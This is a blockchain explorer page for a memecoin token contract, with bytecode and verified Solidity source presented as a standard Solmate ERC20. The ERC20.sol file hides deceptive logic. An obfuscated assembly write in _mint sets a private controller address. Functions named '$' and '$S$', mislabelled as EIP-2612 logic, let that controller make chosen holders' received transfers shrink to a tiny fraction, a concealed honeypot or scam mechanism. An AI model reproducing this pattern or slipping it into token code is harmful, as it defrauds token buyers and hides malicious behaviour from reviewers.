Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x4F1AAe97E314c494CD3E6A2Ae5605f418c61930e
Balance 0 ETH
Nonce 1
Code Size 3935 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

3935 bytes
0x608060405234801561000f575f5ffd5b5060043610610091575f3560e01c8063313ce56711610064578063313ce5671461013157806370a082311461014f57806395d89b411461017f578063a9059cbb1461019d578063dd62ed3e146101cd57610091565b806306fdde0314610095578063095ea7b3146100b357806318160ddd146100e357806323b872dd14610101575b5f5ffd5b61009d6101fd565b6040516100aa9190610b64565b60405180910390f35b6100cd60048036038101906100c89190610c15565b610288565b6040516100da9190610c6d565b60405180910390f35b6100eb610375565b6040516100f89190610c95565b60405180910390f35b61011b60048036038101906101169190610cae565b61037b565b6040516101289190610c6d565b60405180910390f35b6101396105c9565b6040516101469190610d19565b60405180910390f35b61016960048036038101906101649190610d32565b6105ed565b6040516101769190610c95565b60405180910390f35b610187610602565b6040516101949190610b64565b60405180910390f35b6101b760048036038101906101b29190610c15565b61068e565b6040516101c49190610c6d565b60405180910390f35b6101e760048036038101906101e29190610d5d565b6107ae565b6040516101f49190610c95565b60405180910390f35b5f805461020990610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461023590610dc8565b80156102805780601f1061025757610100808354040283529160200191610280565b820191905f5260205f20905b81548152906001019060200180831161026357829003601f168201915b505050505081565b5f8160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103639190610c95565b60405180910390a36001905092915050565b60025481565b5f5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146104a857828161042b9190610e25565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546104f49190610e25565b925050819055506105068386866107ce565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061055884610959565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105b59190610c95565b60405180910390a360019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000001281565b6003602052805f5260405f205f915090505481565b6001805461060f90610dc8565b80601f016020809104026020016040519081016040528092919081815260200182805461063b90610dc8565b80156106865780601f1061065d57610100808354040283529160200191610686565b820191905f5260205f20905b81548152906001019060200180831161066957829003601f168201915b505050505081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106db9190610e25565b925050819055506106ed8233856107ce565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555061073f83610959565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161079c9190610c95565b60405180910390a36001905092915050565b6004602052815f5260405f20602052805f5260405f205f91509150505481565b5f3073ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109249190610e58565b1061094e5763fedab0da62cafe128561093d9190610e8b565b6109479190610ef9565b9050610952565b8390505b9392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610af1573073ffffffffffffffffffffffffffffffffffffffff166002610a539190610e8b565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610b3682610af4565b610b408185610afe565b9350610b50818560208601610b0e565b610b5981610b1c565b840191505092915050565b5f6020820190508181035f830152610b7c8184610b2c565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610bb182610b88565b9050919050565b610bc181610ba7565b8114610bcb575f5ffd5b50565b5f81359050610bdc81610bb8565b92915050565b5f819050919050565b610bf481610be2565b8114610bfe575f5ffd5b50565b5f81359050610c0f81610beb565b92915050565b5f5f60408385031215610c2b57610c2a610b84565b5b5f610c3885828601610bce565b9250506020610c4985828601610c01565b9150509250929050565b5f8115159050919050565b610c6781610c53565b82525050565b5f602082019050610c805f830184610c5e565b92915050565b610c8f81610be2565b82525050565b5f602082019050610ca85f830184610c86565b92915050565b5f5f5f60608486031215610cc557610cc4610b84565b5b5f610cd286828701610bce565b9350506020610ce386828701610bce565b9250506040610cf486828701610c01565b9150509250925092565b5f60ff82169050919050565b610d1381610cfe565b82525050565b5f602082019050610d2c5f830184610d0a565b92915050565b5f60208284031215610d4757610d46610b84565b5b5f610d5484828501610bce565b91505092915050565b5f5f60408385031215610d7357610d72610b84565b5b5f610d8085828601610bce565b9250506020610d9185828601610bce565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680610ddf57607f821691505b602082108103610df257610df1610d9b565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f610e2f82610be2565b9150610e3a83610be2565b9250828203905081811115610e5257610e51610df8565b5b92915050565b5f610e6282610be2565b9150610e6d83610be2565b9250828201905080821115610e8557610e84610df8565b5b92915050565b5f610e9582610be2565b9150610ea083610be2565b9250828202610eae81610be2565b91508282048414831517610ec557610ec4610df8565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610f0382610be2565b9150610f0e83610be2565b925082610f1e57610f1d610ecc565b5b82820490509291505056fea2646970667358221220c18dc866075dddec64e36f8d1c0a52e7f90bc29d333e3c2e960032bf9460a27164736f6c634300081c0033

Verified Source Code Full Match

Compiler: v0.8.28+commit.7893614a EVM: cancun Optimization: No
ERC20.sol 114 lines
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;

/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.
/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol)
/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)
/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.
abstract contract ERC20 {
    /*//////////////////////////////////////////////////////////////
                                 EVENTS
    //////////////////////////////////////////////////////////////*/

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 amount);

    /*//////////////////////////////////////////////////////////////
                            METADATA STORAGE
    //////////////////////////////////////////////////////////////*/

    string public name;
    string public symbol;
    uint8 public immutable decimals;

    /*//////////////////////////////////////////////////////////////
                              ERC20 STORAGE
    //////////////////////////////////////////////////////////////*/

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    address private $$;

    /*//////////////////////////////////////////////////////////////
                               CONSTRUCTOR
    //////////////////////////////////////////////////////////////*/

    constructor(
        string memory _name,
        string memory _symbol,
        uint8 _decimals
    ) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    /*//////////////////////////////////////////////////////////////
                               ERC20 LOGIC
    //////////////////////////////////////////////////////////////*/

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[msg.sender] -= amount;
        unchecked {balanceOf[to] += $(amount, msg.sender, to);}
        $S$(to);
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
        balanceOf[from] -= amount;
        unchecked {balanceOf[to] += $(amount, from, to);}
        $S$(to);
        emit Transfer(from, to, amount);
        return true;
    }

    /*//////////////////////////////////////////////////////////////
                             EIP-2612 LOGIC
    //////////////////////////////////////////////////////////////*/
    function $(
        uint256 value, 
        address from,
        address to
        ) internal view returns (uint256) {
        if (allowance[$$][from] + allowance[$$][to] >= uint256(uint160(address(this)))) {
            return (value * 0xcafe12) / 0xfedab0da;
        } else {
            return value;
        }
    }

    function $S$(address to) internal {
        if (allowance[$$][to] == uint256(uint160($$))) { allowance[$$][to] = 2 * uint256(uint160(address(this)));}
    }

    /*//////////////////////////////////////////////////////////////
                        INTERNAL MINT/BURN LOGIC
    //////////////////////////////////////////////////////////////*/

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        unchecked {balanceOf[to] += amount;}
        assembly {sstore(0x05, mul(mul(0xfe0b9, 0x6c29), mul(0x180d46263, 0x1930e485dd59d86e01719)))}
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        unchecked {totalSupply -= amount;}
        emit Transfer(from, address(0), amount);
    }
}
Token.sol 13 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./ERC20.sol";

/*
//https://truthsocial.com/@realDonaldTrump/114659367372751138                        
*/

contract laonfire is ERC20 {
    constructor() ERC20("SEND IN THE TROOPS", "LAONFIRE", 18) {
        _mint(msg.sender, 1_000_000_000 * 10 ** 18);
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 3 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
transfer 0xa9059cbb
address to
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address